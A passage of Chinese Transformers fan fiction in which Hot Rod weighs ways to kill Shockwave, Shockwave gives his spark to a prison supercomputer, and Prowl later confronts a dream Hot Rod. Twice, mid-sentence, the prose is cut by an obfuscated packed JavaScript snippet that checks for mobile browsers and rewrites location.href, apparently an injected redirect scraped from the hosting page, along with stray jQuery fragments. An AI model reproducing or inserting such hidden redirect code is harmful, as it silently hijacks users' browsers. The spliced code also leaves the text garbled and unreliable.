“嗯,我也只是开个玩笑,客观来说他没办法威胁到我,其他人也不能。因为我没什么可失去。” 我看不一定。震荡波在心里回答,你不是无可失去,你只是变得对一切可能会失去的东西都不抱期待和感情,然后把仅剩的那些单独留给警车了而已。 虽然心里这样烦躁地想着,开口的却是另一件事。 “那么作为回报,你就告诉我一件事——霸天虎和汽车人,”他提起这个老生常谈的问题,“你希望哪边赢下战争?” 海格特愣了一下。 “你要不要再好好考虑一下?哪怕是杀人、做研究、或者帮你赚钱,我自认为还是挺全能的。” “不,就这个。” “好吧,”海格特松了口,“那当然是汽车人。” 但是说出这句话之后,震荡波的表情却变得复杂了。 “我想听的是实话。” 海格尔特沉默了,面对这突如其来的质问,他只是略作思考就改口。 “我其实哪边都无所谓,但警车希望汽车人赢,那我自然也就这么觉得。” 他听的是警车的命令,如果警车忽然选择成为霸天虎,或者成为中立派逃离战争,自己都会支持。 闻言,科学家发出一声叹息般的声音。 对现在的海格特来说,派别无所谓,正义与否无所谓,甚至谁生谁死都没有关系。 “果然,你现在越来越像一台纯粹的机器了。” 震荡波突然有点怀念过去。 “这样下去,有一件事我可以断言——你得不到想要的那种‘意义’,无论是林格的,还是警车的。” “你在诅咒我吗?”海格特问,“为什么?” “因为世界的意义,” 震荡波若有所思地看着面前的虚空,微笑着说。 “——只在世界之外。” 57.第五十七章 在不危及生命的前提下,让人失去战斗能力的方法。 有针对性地报废敌人武器的方法。 还有在极端条件下获取情报、在不造成不可逆伤害的前提下,令人恐惧的办法…… 因为警车总会对任务提一些极其刁钻的要求,所以这些年来,海格特不得不学会应付各种复杂情况。 但像现在这样一边并排行走,一边思考如何杀死对方,还是头一次。 格拉斯九号,内部走廊。 海格特和震荡波正在前往艾奎塔斯大厅的路上。 作为一座监狱,这里安静得出奇。 地下重型犯的火种和机体基本上都被分开关押,因此步入其中,就像是走在一座空城,幽暗的走廊不知道多少年没有人经过,满是灰尘。 海格特将目光从远处火种储存室的方向收回。 巨无霸福特没有给他们带路,说是典狱长按照规定不能随便离开岗位,于是他留在监控室,通过内部通讯给两人指明方向。 原本按照流程,应该是震荡波先单独去见艾奎塔斯,之后再由海格特前往。 “还得谢谢你允许我与你同行。”海格特说。 “这点事谢什么。” “毕竟我的身份文件没办法长期停留在这颗星球,真的帮了大忙。” 虽然进行着正常对话,海格特想的却是另外的事。 如果震荡波提前离开行星,之后事情就会变得不可控,所以最好跟在他身边,找机会动手。 就算思考着如此异常的事情,但头脑却像是被卡住一样,根本无法动用以前活跃的情感模块。 “这里这么冷清,我也希望能跟人说说话。”科学家笑道,“实不相瞒,我已经很久都没跟别人说过话了。” 海格特愣了一下,有些惊讶地看向他。 “你?” “是啊。” “……是没有找到新的助手吗?” 他们路过一间空着的废弃牢房。 用松动的铁栏杆刺入发声器,再刺入脑模块,用时十三赛秒。 刺杀。 “我试着招聘过,但可能我的要求还是太高了,”震荡波耸了下肩,“也可能那个位置一直给我希望的人选留着。” “是吗。” 海格特不为所动地喃喃着。 风险太大,旁边就是监控。 那个恪尽职守的福特典狱长肯定会第一时间拉响警报,派人抓捕自己,并且录下罪行。要动手还得去监控覆盖不到的地方。 “一个人工作,不辛苦吗?”海格特问。 “只要能早点停下这无谓的战争,要我连轴转十万年都没问题。” 接下来就是监控的拐角,这个时候动手很合适。 虽然武器设备早在进入格拉斯九号的时候就被搜身带走,但可以用旁边对其的杂物作为钝器,从身后进行突袭。 扑杀。 “看样子快到了。”路过拐角,海格特平静地这样说着。 也不行,会发出撞击和惨叫声,他们两个还有体型上的差距,如果自己没有做到一击毙命,足够震荡波拍摄下证据并且发送出去,风险太大了。 就这样一路上,他都在思考杀人手法,却一次也没有动手。 在冲突的指令下,优先解决的是警车的命令,这应该早就成为自己行动的底层逻辑。 但是借口却一个接着一个,接连不断。 最后站在一扇巨大的铁门前,四周的设备扫描了他们两人的身份,之后,大门缓缓开启。 “你们有两塞星时的时间停留。” 留下这样一句话后,福特就暂时结束了通讯。 海格特没有犹豫,直接走了进去。 眼前是一个极为广阔的洁白空间,空气干燥,几乎闻不到任何气味。 正前方是操作台,而在操作台的前方的玻璃上,艾奎塔斯超级计算机张开通往它内部结构的深渊巨口,乍看之下,更像一台粒子加速器或者太空桥的传送口。 “真是壮观的设备……” 海格特感叹了一句,却看到震荡波径自走向操作台。 “你看上去好像并不惊讶,是以前来过吗?” “这是我第一次来,”科学家并未回头,“我承认这座超级计算机很伟大,但是因为我早就见过比这宏伟、美丽百倍不止的事物,所以无法做出更多感触。” “……” 他在说至高之门。 ……我对此该做出什么反应来着? 海格特想不出来,于是最后也没有接话,只是默默扫描起四周的情况。 果然没有监控设备——毕竟这种极度机密的地方,有监控反而是给人骇进来和定位的机会,甚至像声波那样的专家说不定能通过监控反向骇入格拉斯九号。 想着这些有的没的,视线转了一圈之后,落在震荡波的背影上。 这个人对自己真是一点也不设防啊。 那么,针对火种旁边的导线进行压迫,不仅能让人失去反抗能力,还能截断通往火种舱的能量回流。 最理想的情况下,只需要几十秒就能让火种陷入软终结状态,之后再对脑膜快补上一击就能结束了。 绞杀。 “知道吗?” 在海格特不断计算和模拟着杀人流程,反复确认里面没有漏洞时,震荡波突然开了口。 “要启动艾奎塔斯,需要格拉斯九号的最高负责人进行审批操作。” “让福特来不行吗?” “他目前只有打开大厅的权限,还无法直接启动这台设备。” “原来如此,我不知道这件事,”深色的机器坦率地说,“我只是来做外部情况维护和调查,不需要启动它的计算罪行功能。所以他们给了你操作权限吗?” “不,但我知道另一种打开它的方法。” “是什么?” “用一颗自愿献出的火种。”震荡波抬起头,看着巨大的超级计算机,“光是火种还不行,因为这里有反胁迫装置。” “……” 真是奇怪的设计。 “明明都要让人献出火种,却还必须是自愿的,发明这个系统的人……” “伪善。”震荡波说了这个词。 “也没必要那么说吧。” 海格特反驳了一句,忽然听见大门打开的声音。 但转身一看,外面却没有人。 “警报,重复一次,警报。” 短暂的两秒寂静后,巨无霸福特的声音从门口的广播中响了起来。 “格拉斯九号遭到入侵,识别代码为DSS……” 沉闷的爆炸声在头顶上方响起,原本空荡无声的监狱内部传来嘈杂的声音。 “DSS,是霸天虎特勤局。”震荡波皱起眉,“他们喜欢进行轨道轰炸,之后紧接着就是地面战,这地方有麻烦了,大概是冲着之前被擎天柱关押的组合金刚的技术而来。” “在你的判断里,福特典狱长和卫兵搞定不了?” “从人数上对方占压倒性优势。” “我知道了。” 海格特闭了下光学镜,警车让自己过来,估计也是预料到这一点,让自己发挥作用。 “那我出去支援,你留在这里,从内侧关好门。” 而且这是个机会,自己出去击退霸天虎军队,然后趁着混乱毁坏监控,再回来下手就行。 之后估计会被查出来是自己干的,但也有足够时间逃走。 ……不知为何,能暂时逃避这件事,心里却有种异样的轻松。 他迈开脚步,然而在离开前却被震荡波叫住。 “等一下。” “?” 海格特回过头,却忽然看到科学家以一种前所未有的宁静表情看向自己。 “没什么,”震荡波点了下头,语气不明地道,“只是觉得,在最后的时候能和你说说话,我运气真的不错。” —— ———— 霸天虎特勤局的攻势猛烈,当海格特从警备室取走自己被没收的武器,进入交战区域时,已经有不少汽车人卫兵倒在路旁。 来时还完好无损的地面建筑四分五裂地倒在周围,那些没有被剥离火种的中轻刑犯四散奔逃,有的逃向DSS的飞船,但更多则是捡起武器反过来对付汽车人。 虽然卫兵都奋勇战斗,但这些战斗力显然还是不够。 海格特无法变形成载具模式,因此机动性上差了一截,面对复杂地形里的人海战术并不占优势。 现在需要一个高机动性、高攻击性的游走单位,且变形模式需要尽可能小的人,不能是飞行载具,因为敌人已经渗透到格拉斯九号的地下通道里了,需要在那里进行战斗。 他根据现场判断着情况,但通讯受阻,暂时联系不上警车请求支援。 说起来,典狱长呢? 回头看去,只见福特的火种正在地底某处,似乎是火种剥离室的隔壁,那里应该是重建室的位置。 而他身边还有一颗火种,似乎刚从沉眠中苏醒,大概是刚刚被重建修复好的缘故,在短暂的迷茫后,忽然迸发出一阵宛若杀神的可怖光芒。 为了解决危机,他释放了这座监狱中最可怕的存在。 “这……” 哪怕在最凶恶的霸天虎身上,海格特也从未见过如此愤怒,如此疯狂的火种——或许个别能在极端条件下展现出这种程度的波动,但能将狂气作为自身底色的,估计全宇宙仅此一例。 并且转瞬间,那个身影就如同鬼魅般杀出重围,来到海格特附近的区域。 浅色、流线型的机体,比起其他塞伯坦人来说更加优美的身形弧度。 也更加致命。 扑杀、刺杀、砍杀。 切碎、碾碎、轰碎。 为了宣泄这股滔天的愤怒,谁都能杀死。 不管是汽车人还是霸天虎,不管是否挡在自己面前,不管对方是十人还是百人,但凡目之所及的鲜活生命,在她面前全都只有死亡一条路可以选。 只是转眼间的工夫,那个名为阿尔茜的恶魔就已经杀穿整个地下战场,让局势变成了完全的一边倒。 将之前海格特设想过的杀人手法全部用在了霸天虎侵略者身上,甚至手法还比他的数据库中丰富。 然后,那个恶魔。 “——” 拎起枪械,看到了依旧站在战场中央的海格特。 啊,不好。 “等……” 话还没说出口,海格特就猛地往后倒飞出去,还没来得及起身,阿尔茜的刀刃已经抵在他的脖子上。 虽然被砍头也无所谓,但任务还没有完成,不能现在就被破坏行动机能。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15291755|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 于是在刀刃刺入脖颈的短短几微秒间,海格特就挣开阿尔茜的武器,与其对峙。 “我不是你的敌人。”说话的同时,顺便将被砍下一半的头颅接回去。 回答他的是如雨点般密集的猛烈刺击。 根本无法沟通。 也是,看到那双被狂气侵染,几乎看不出知性的光学镜,还主动说话的自己才是愚蠢。 在心里叹了口气,海格特正式迎战。 说实话,阿尔茜的整体机体素质并不是塞伯坦人中最优秀的那一批,但她的战术水平和不顾一切的战斗态度,却让所有优势发挥到极限。 短短几个回合根本分不出胜负,但海格特开始感到焦急。 无意间向地下看去的时候,发现震荡波的火种已经不在艾奎塔斯大厅了。 那个人可能已经乘坐飞船离开,一想到这样的可能性,他就无心继续战斗。 “我有个必须要杀的人。”海格特破罐子破摔般再次尝试沟通,“先让我过去,不然他就要逃走了。” “……” 听见这句话,像是奇迹发生那般,粉白色的恶魔若有所感地停下了动作。 “必须要杀?” “是的。” “如果我执意阻拦?” “那就只能先解决你。” “呵,”阿尔茜像是听到什么有趣的事,眯起光学镜饶有兴趣地笑了,“你倒是提醒我了,我也要去杀了必须要杀的人,没空在这里浪费时间。但是你啊,该怎么说呢。 ——真令人同情。” 说完,那身影骤然消失在原地,留下一脸困惑的海格特。 真是……莫名其妙的人。 这样想着,他首先联系了福特。 虽然外部通讯被截断,但还好格拉斯九号范围内的联络还是能打通的。 他问那位典狱长震荡波的动向,但却被告知“震荡波的飞船并没有离港。” “也就是说他还在这颗星球上?” “根据监控,他也没有离开艾奎塔斯大厅。” “……什么?” 但是向下看去时,大厅里确实没有火种闪烁的痕迹。 心里涌起一股异样的不祥预感,他切断通讯,一路向下跑去,最后来到那扇铁门之前。 “震荡波?” 在开门前,海格特试探地喊了一声。 没有回应。 不仅是没有回应这么简单,大厅里面是有声音的,和自己之前过来时的寂静不同,里面传来某个巨大机器运转的阵阵轰鸣。 艾奎塔斯开始运作了,运作的条件是…… 大脑陷入一片空白,他深吸一口气,打开了门。 然后。 看到了震荡波献出火种后,失去颜色的遗体。 —— ———— 海格特一直知道,自己与这个世界的关系非常微弱。 微弱到如果哪天警车不再需要自己,就没有任何可以证明自己存在的东西。 “艾奎塔斯。” 【是。】 “告诉我,我罪行的数值。” 【个体:海格特,火种数据缺失,罪行数据为零。】 “理由是?” 【一台纯粹的机器不具有主体性。】 被否定了。 虽然想以塞伯坦人的身份活下去,但这也只是自己的一厢情愿罢了。 “艾奎塔斯。” 【是。】 “告诉我,你是我的同类吗?” 巨大的机器运转了一会儿,最后得出结论。 【是。】 “那既然我们是同类,你认为我有罪吗?” 【错误,不具备这样的功能。】 就在这时,内线通讯声响了,DSS被击退后,频道恢复。 “我这边显示艾奎塔斯发生了激活,”警车的声音是一如既往的冷静,“汇报情况。” “……死了。” “什么?” “愿意无条件相信我,将后背交给我的人,今天死了。” “……” “警车,一般来说塞伯坦人现在会做点什么?” 战术家沉默了一阵:“什么都不做就行,把艾奎塔斯的硬盘数据带回来。” “是。” “还有。”在切断通讯之前,警车补充了一句,“相信你的人,这里还有一个。” 说完他就结束通讯,留下愣在原地的海格特。 “是……这样啊。” 他看向震荡波已经失去反应的机体。 「世界的意义只在世界之外。」 忽然又想起了这句话。 于是像是意识到了什么,海格特再次向超级计算机开了口。 “艾奎塔斯。” 【是。】 “震荡波的档案,是不是空出来了?” 【是,该个体的火种已作为载体存储于系统内部。】 果然是这样。 “那么,”他缓缓开口,“把我的档案写入那个空位。” 为了警车理想的世界,必要的步骤终于得以完成。 过了一会儿,福特和其他汽车人卫兵赶过来查看情况。 面对这一众明显是活生生的塞伯坦人,海格特发现—— 自己看不见火种了。 58.第五十八章 万物之流号。 船舱内。 荣格放下手里的数据板,整理着目前的状况。 不知是出于什么原理,但当塞伯坦人的光学镜直视那道至高之门的纹路时,就能有如置身其中般看到模拟世界中发生的事。 像是俯瞰着棋局,通过倒推步骤,从而再现过去的思路一般。 理论上,只要检索需要的时间点和地点或者人物,就会看见相应的事件片段,但其中也有限制——如果这件事或人物与自己毫无关系,那展现出来的事件就会模糊不清,与自身关系越是紧密,看到的就越多。 而对决的当事人,警车和海格特,围绕他们发生的事几乎所有人都能看见。 于是。 当荣格写完自己关注的内容记录,自然而然地走出客舱,想和其他人交流一下时—— 看到了一副地狱般的混乱光景。 小诸葛正在因为模拟中的自己又发明了一项新技术而欢呼着“我果然是天才”漫天狂飞,同时手上还不忘计算各种公式。 感知器很认真地思考构建雷霆救援队的现实性,但他显然不是很能想象旁边还被铐着的旋刃从良的样子,满脸怀疑。 热破正在因为模拟世界中自己小队成员的背叛而咬牙切齿——虽然他现在还根本不认识那个人。 铁皮、探长和通天晓都在记录和“擎天柱”以及战局有关的事,说着别人听不懂的战争术语。 开路先锋则是遗憾自己每次都不在事件中心,而刹车安慰他说那也挺好,不像丧门神——“我都不敢想象我之后要是找到机会,会对他做什么。” “……” 换成以前,荣格肯定会为了避免麻烦转身回房间,但没办法,他现在真有点需要听众。 于是继续搜寻起人选。 他看向旁边独自一人在走廊上走的大黄蜂,刚打算搭话,就听见对方在自言自语——准确来说,应该是和红蜘蛛的幽灵说话。 “我有个疑问,但是一直看不到有解答的片段。” “哈……你说得对,几百万年都没答案的话,大概只能说明不重要。” 大黄蜂也走远了。 看来没人需要心理医生,这是件好事。荣格在心里安慰着自己。他也早就习惯于被无视,于是打算往回走。 在这时。 “——” 听到了一声隐隐的抽泣。 荣格注意到声音是从自己隔壁的客舱发出来的,于是走过去,从敞开的门口往里看,发现是前不久刚到船上来的急救员。 这个肩上绘着十字图案的医疗单位,正忧愁地望向窗外至高之门的方向,原因不明。 可能是看到了与自己有关的生离死别吧。 荣格不想打扰他,但在离开前却被正好在转头的医疗单位发现了。 场面顿时变得有些尴尬。 “哦,呃,”荣格只好开了口,“你还好吗?” “抱歉,我没事,”急救员语气平静地回答,“只是觉得实在太残忍了。” “漫长的战争里会发生很多事,我听说通天晓不久前也目睹了自己的死亡,如果受不了,我建议你还是先别……” “我是说警车这个人。” “……嗯?”荣格愣了一下,“警车?他怎么了?” “他不能,我是说,他至少不应该这样把海格特当作工具来利用,我能看出来他对海格特也是有感情的,为什么一定要做到这个地步呢?他是真不明白海格特对自己始终如一的忠诚吗?为了警车,海格特连曾经最重要的人都可以抛弃,宝贵之物一个也不剩了,结果他居然无视这种深切又绝望的情感,实在是……” “你先等一下。” 听着急救员滔滔不绝的话,心理医生忍不住捏了捏眉心。 “有一点我必须要澄清,你说的这些都是警车在模拟开始前提前预设的,他决定尽可能减轻海格特对世界的影响,于是干脆通过大量的小型参数切断了他与其他人的关系。” 但听了这话,医疗单位不知为何反而更加感慨了。 “原来这一切都是命中注定……” 这个人到底在说什么? 荣格努力试图跟上节奏。 “实际上,模拟世界中海格特的状态是一种典型的存在性虚无,”他解释道,“他的社会性和情感关系都只有警车一人维持,紧迫的身份危机使他不得不工具化自身,所以才出现了他们之间这种扭曲的情感关系。” “扭曲……” 急救员听得很认真。 “但说实话,”有了听众的心理医生继续道,“因为关系单一,所以通过海格特视角展现的信息还是太少了,就比如,我不知道震荡波是什么情况——献出火种这个行为,与他之前展现出来的行为风格完全不一致。” 这也是他刚才想找人商讨的内容。 “这还用说吗?他肯定是看出了海格特的困境,所以牺牲自我,用自己的火种给他一个成为塞伯坦人的机会。”急救员忍不住道。 “我不想扫你的兴,但这种情感性的理由,应该在警车的参数中被提前设计过,海格特不会和其他人产生任何强烈的情感关系。” “居然是这样,也就是说这份情感是突破了参数的深刻……” 我觉得不是那么回事。 荣格心里默默想着。 但多方面的心理分析很重要,如果能进一步了解海格特,说不定就能找出他的思维与谈判弱点,对以后的对局或计划都有帮助。 所以哪怕觉得急救员的想法不靠谱,他还是继续与对方讨论起来。 “另外还有一件事,”荣格说,“与‘至高之门’断开连接后的海格特会逐步失去同理心,这可能意味着他的道德与情感模块是需要本体进行能量传输的。” “对,就是这一点,”急救员突然有些激动,“你不觉得很感动吗?明明是一台纯粹的机器,但会为了警车而献出所有的忠诚,又会为了另一个人而感到痛苦……” “咚。” 脑袋忽然被不轻不重地敲了一下。 他说得太投入,连有人从身后走来都没注意到。 “我早就劝过你,少看那些乱七八糟的小说,它们会腐蚀你的思维,你看现在都变成什么样了。” 说话的是与他一同上船的药师,他们同为汽车人医疗小组的成员,出事时正好在塞伯坦附近的卫星医疗点位。 “不好意思,朗格医生,”药师抱歉地开口,“急救员总是有些过于情感丰富。” “是荣格,”荣格见怪不怪地纠正一句,“没关系,他的想法也是一种新视角。” “我只是对海格特很好奇,”见是自己的上级,急救员解释,“模拟世界里的我几乎一直在做医生,根本没什么重要情报,甚至很长一段时间里只能从新闻里听到战争。” “那你就去关注擎天柱和威震天他们,关注战争新闻。” “几乎所有人都在关注他俩,到时候通天晓肯定会整理出几万字的详细报告要求我们阅读的。” 闻言,药师叹了口气,抱起手臂:“我们被叫到这里不是为了看电影的,与其抱着私心盯着别人的私事看,你还不如去病房工作,减轻一下救护车的压力。” 急救员有些怨念地看着他:“你这不也是私心吗,是不是看到救护车在未来抛下你,所以着急了?” 然后他就被因痛处被戳中而愤怒不已的药师拖去值班。 荣格干笑了几声,目睹他们离开,也回到自己的房间。 虽然急救员说得很不靠谱,但对他也有一些启发。 “情感……” 如果“至高之门”才是情感终端的来源,那它里面到底是什么构造? —— 万物之流号,甲板。 “数据分析:警车会输掉对决。” 时刻关注情况的声波,在某个时间点这样说道。 “模拟成果,塞伯坦人口数:略多于现状。其他行星人口数:少于现状。资源储备:大幅少于现状。综合评价:任务失败。” “还没完不是吗?”机器狗晃了晃尾巴,“你别这么悲观。” “接受建议,已修改:说不定警车会赢,海格特会解除数据化。” “……也别这么乐观。” 模拟的时间十分短暂,就想将罅隙中的风景拼接在一起,转眼间就已经接近四百万年的界限。 霸天虎与汽车人的战争几经流转,有好几次差点结束,但两方的领袖总是有能力力挽狂澜,于是迟迟没有迎来终结。 但它还是结束了。 “看样子内战是汽车人赢了,很遗憾。”机器狗说。 “否定:本次模拟参数由汽车人提出,”声波反驳他,“从根本上对他们有利,再加上警车控制了海格特这一变量。” 现实里,他可能最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302258|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会站在霸天虎一方也说不定。 与此同时,飞船的另一边,同样关注着战局走向的还有铁皮和通天晓等人。 以及,最关键的—— 奥利安·派克斯。 自从得知自己会成为领袖后,他就变得很沉默。 心里有一种不太好的预感,在观看了模拟世界里战争的走向后更是如此。 明明拥有领导模块,也几度人民带来希望,却没能彻底获得胜利,甚至哪怕目的是正确的,行动也是正确的,结果来说却导致更多人死去。 “唉,你又开始把一切揽到自己身上了,”看出他的想法,铁皮拍了下这个大个子的肩膀,“这只是模拟,别太当真。” “抱歉,让你们费心了。” 他意识到自己不能消沉,还有很多人在依靠他。 但如果现实中真的发生了那些事…… 自己真的能做得更好吗? 疑惑被埋藏在心里。 无论如何,由至高之门所模拟的世界中,战争的景色已经走向尾声。 他们胜利了。 而战争中的罪人,都将得到审判。 —— ———— 硬币。 几乎看不出上面的样子,但它依旧闪烁着银色的光亮。 海格特将硬币放在手里,像是从未见过似的看着它。 “你疯了?” 有个声音在面前问。 “我觉得不像。”海格特回答。 “那为什么在艾奎塔斯的数据里建立自己的档案?我根本没有给你这么做的指示!” 彻底失去冷静的警车将数据板重重摔到墙上。 “……” 看来真的很生气,连桌子都不掀了。 在这有些异常的状态中,海格特反而忍不住笑了一下。 “任何判决都是一把双刃剑。”他温和地开口,“总有人需要为战争中的污点负责,我是最合适的,你应该知道。” 警车烦躁地移开视线:“总之你先走,离开这,趁着泰瑞斯特执行官还没找过来。” “那也不行,如果你赋予自己赦免我的权利,那构建起来的秩序就会崩塌,不要让感性毁了你的判断……” 海格特没能继续说下去。 因为警车已经死死扼住了他的喉咙和发声器,那双蔚蓝的光学镜里,燃烧着某种异质的情感。 “我让你活下去。”战术家一字一顿地开口,“这是命令。” 抱歉…… 海格特做出口型。 只有这个无法完成。 似乎是意识到他的决心,脖子上的力道突然减轻。 “为什么?” “要解释的话,就是我很认同一种对死亡的观点:一旦我们无法有所感受,无法有所发现,只是机械性地重复什么,那就已经失去了生命。” “……” “不理解吗?” 海格特垂下视线。 “——意思是,我已经死了很久了。” “虽然死了很久,但这具被熔铸成型的尸体还在行动。” “因为你赋予我意义,给了我希望,你的那颗火种照耀着我,所以现在…… 我仅仅是想将那个未来献给你罢了。” 为了守护最后的宝贵之物,无论是发自内心的真实,还是经过虚构的谎言。 都已经不再重要。 审判到来的那日,天气很好。 面对艾奎塔斯列举出的罪状,面对周围人恐惧的情绪,海格特只是毫不犹豫地承认了罪行。 不仅如此,他还尽可能地做出一副毫无感情的罪恶机器所应有的态度。 直到最后都没有忏悔。 直到最后都没有辩解。 这种极端罪恶的形象,反倒是在场的某个霸天虎发现了问题,红蜘蛛提出了问题所在,但却因为他的假设显得过于离奇,没有人听。 警车麻木地看着这一切,直到内线传来最后的消息。 是海格特发来的,上面只有短短两行字。 【如果真的有火种来世。】 【那我希望,我们都不是塞伯坦人就好。】 他所留下的这句话,警车确实收到了。 仅此而已,剩下的不过都是些微不足道的小事。 就比如,其中蕴含的情感, 让一个世界无声地迸裂四散。 59.第五十九章 天光有些刺眼。 视野像是老旧的监控般缓缓聚焦,在看见那高耸的环形穹顶时,警车才意识到自己正在铁堡的最高议会厅里。 “我怎么在这……” 他曾在这个地方头一次见到逆天劫领袖,也是首次作为安保人员为御天敌工作,以及—— 视线落在那个站在演讲台中央据理力争,试图阻止议会通过俱五刑法案的身影上。 ——这里是他第一次见到海格特的地方。 看着那人和记忆中别无二致的深色机体,警车恍惚了一瞬,但紧接着,记忆就涌入脑海。 那是海格特遭到处刑时的场面。 因为没有火种和变形齿轮,所以哪怕是罪恶极深的犯人,也无法通过三定律的方式杀了他,所幸海格特已经在漫长的战争中失去了不死的特性,于是最后,大法官给出的判决是将其拆解。 身首分离。 全身被拆成全面尸检般的碎片。 失去温度,失去行动能力,失去一切与外界的联系,失去一切与自己的联系…… 失去生命。 “呜——!” 警车忍不住捂住嘴。 痛苦顺着每一条管线缓慢地流入火种,像是要快要窒息。 像是注意到了他的状况,那个站在议会厅中央的海格特转头看向了他。 因为背对着光,表情显得有些模糊不清,但依稀能看出他的神色,那是担忧的神色。 不对,这个时候,你不是应该在汇报吗? 刚想这么问,警车就注意到大厅里谁也不在了。 除了自己和海格特之外,所有人都忽然消失不见,变得空空荡荡。 “原来如此,”他闭了下光学镜,“我是在做梦,而你早就死了。” “发现得好快。”那个警车梦中的海格特淡淡开口,“你的运算中心果然很强大,能告诉我吗?塞伯坦现在怎么样了。” 塞伯坦…… 想到这,警车不由得嘲讽似地笑了笑。 “在擎天柱的治理下走向正轨,与地球建立联系……总之,虽然还有很多麻烦,但现在的状态挺好的。” “你不用这样安慰我,”海格特说,“实际上塞伯坦已经不复存在,被撕裂成了两半,真令人难过。” “……” 是啊,我怎么可能骗得过自己梦见的人。 警车在心里叹了口气。 “话说回来,想不到你还相信幽灵的存在,不然我也没办法出现在这。” 似乎是意识到警车不想继续这个话题,梦中的海格特换了个话题,声音幽幽地回荡在议会厅内。 “我本来将你看作绝对的现实主义者,但现在看来,或许只是还不够了解你。” “你以为这是谁的错。”警车疲惫地低下头,“在你死后,我经常会觉得身后有人在看我,但转过头时却谁也不在,每次都是如此,结果像现在这样,连梦到你也是头一次,我一定是疯了……” “是吗。” 海格特面色担忧地走向他,然后将警车带到某个位置上。 “辛苦你了,在梦里就先休息一下吧。” 反正谁也不在。 那些塞伯坦上的事务,暂时放在脑后好了。 在一片寂静中,警车听从意见坐下来,靠在桌板上。 海格特就站在他面前,深色的机器伸出手,几乎是将他的头雕整个环抱在怀里。 “你……” “忘了吗?”机器轻轻开口,“我曾经可是很擅长摇晃摇篮的,再有反抗心的火种都会平静下来,所以你也一定能睡个好觉。” 那声音过于温柔,让人有一种想哭的冲动。 警车只是闭上眼睛。 “你恨我吗?”他问。 “一点也不。” “你喜欢我吗?” “喜欢到愿意为你杀人的程度。” “那你……讨厌我吗?” “讨厌到愿意为你去死的程度。” 警车笑了一下:“听上去真扯。” “问这样的问题是没有意义的,”海格特说,“毕竟对我来说有意义的事物只有你,所以爱也好,恨也罢,在只有单一目标的情况下没办法计算。” “说的也是……” “你一直是正确的,一直都在做正确的事,现在就好好休息,为了塞伯坦的未来,辛苦你了。” 意识开始渐渐模糊。 “睡吧,把这些全都忘记。” 隐约间,好像看到黄矮星的光芒透过议会厅的玻璃,在地上洒下蓝色的光。 “在醒过来之前,你可以获得永远的宁静。” 朦胧而绚丽,那是透光蓝矿的光彩。 海格特抬起手,似乎是打算轻拍警车的肩膀。 但就在下一刻—— “啪。” 手腕被紧紧攥住,往前拽去。 “怎么了?”海格特感到惊讶,另一只手不得不撑在桌子上,虽然想要挣开,但手腕上的力道却又增加了好几分,“等一下,警车,很疼……!” 然后他就看见, 警车那无比冷静的目光,正在凝视着自己的光学镜。 “最后一刻,你还是露出破绽了。” “你说什么?我不明白你的意思,是我哪里执行错了……” “最高议会厅,”战术家用分析事物的冰冷语气打断了他,“它侧面的彩窗,用的不是透光蓝矿,而是普通的蓝色玻璃。” “……” “因为这个地方很早就在战争中被袭击摧毁,所以哪怕在之前获取了全星球的数据,你也没能完全成功再现,我说的没错吧?海格特。” 被他抓住的机器只是垂着头,一言不发。 “所以刚刚发生的一切都是真的,而对决已经结束了,这里不是我的梦,而是你虚构的场景!”像是在告诉自己一般,警车说完后深深置换了一口气,空着的另一只手拧了拧眉心,“该死!后遗症比想象得还要久,差点就被你骗过去。” “呵…” 眼看事情败露,刚刚还沉默不语的机器,忽然发出了笑声。 “呵呵,哈哈,啊哈哈哈……!” 那是警车从未在海格特身上听到过的,畅快无比的笑。 与此同时,周围的景色兀自变幻,他们回到了那间像警车曾经的宿舍一般的观测室内。 两人依旧坐在桌旁,夕阳时分黄矮星的残光从窗户里透下来,一切都没有改变,就像什么都没发生过。 到了这时,警车才终于彻底摆脱先前四百万年份的模拟记忆,自我的连续性重新回拢,之前发生的一切都像是做了个梦。 “真是没想到,”海格特笑得扶住额头,“我还以为那座建筑肯定会用最名贵的玻璃,毕竟设计书上也是那么写的,谁知道会在这种地方偷工减料。” 警车咬着牙:“少废话,你是想趁我的意识还没完全回归将我数据化吧,这不是作弊吗!?你什么时候这么卑鄙了?” “真奇怪,谁也没有约定过不能这么做,分明是你自己考虑不周……唉,不开玩笑了。” 说到这,海格特的表情恢复平静。 “那么我正式说明一下,本次对局——至高之门的Revision 1已经彻底结束。嗯,你看上去精神不太好,我已经修复了你因模拟所产生的所有器质性变化,记忆也做了模糊处理,难道是别的心理问题?” 警车皱起眉,没有回答。 “难道你真的那么需要我?”海格特歪了下头雕,“说实话,我也非常想要你的火种,哪怕数据化了也会一直陪着你的,这是真话。” “不可能,告诉我最后的胜负。” 语气很是强硬。 但是这个火种波动,比起愤怒,难道是害羞了? 海格特想了想,觉得还是别继续逗他为好,于是将至高之门的模型放到桌上。 “从结果来看确实是你输了,在四百万年的 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“没人会把这种事透露给对手。” “说得也对,那我很期待下一位挑战者会在你的建设下取得怎样的成果,就在这里收拾好塞伯坦等待着了。” 战术家有些不满:“别把这颗星球说得好像你的东西一样。” 海格特只是笑了笑。 “准备好跃迁后告诉我,我会在你按下按钮时将外界状态重新流动一瞬,现在的你虽然在观测室里行动,但外面还是数据化状态,所以没办法直接离开。” —— ———— 之后,警车追加了一些规则。 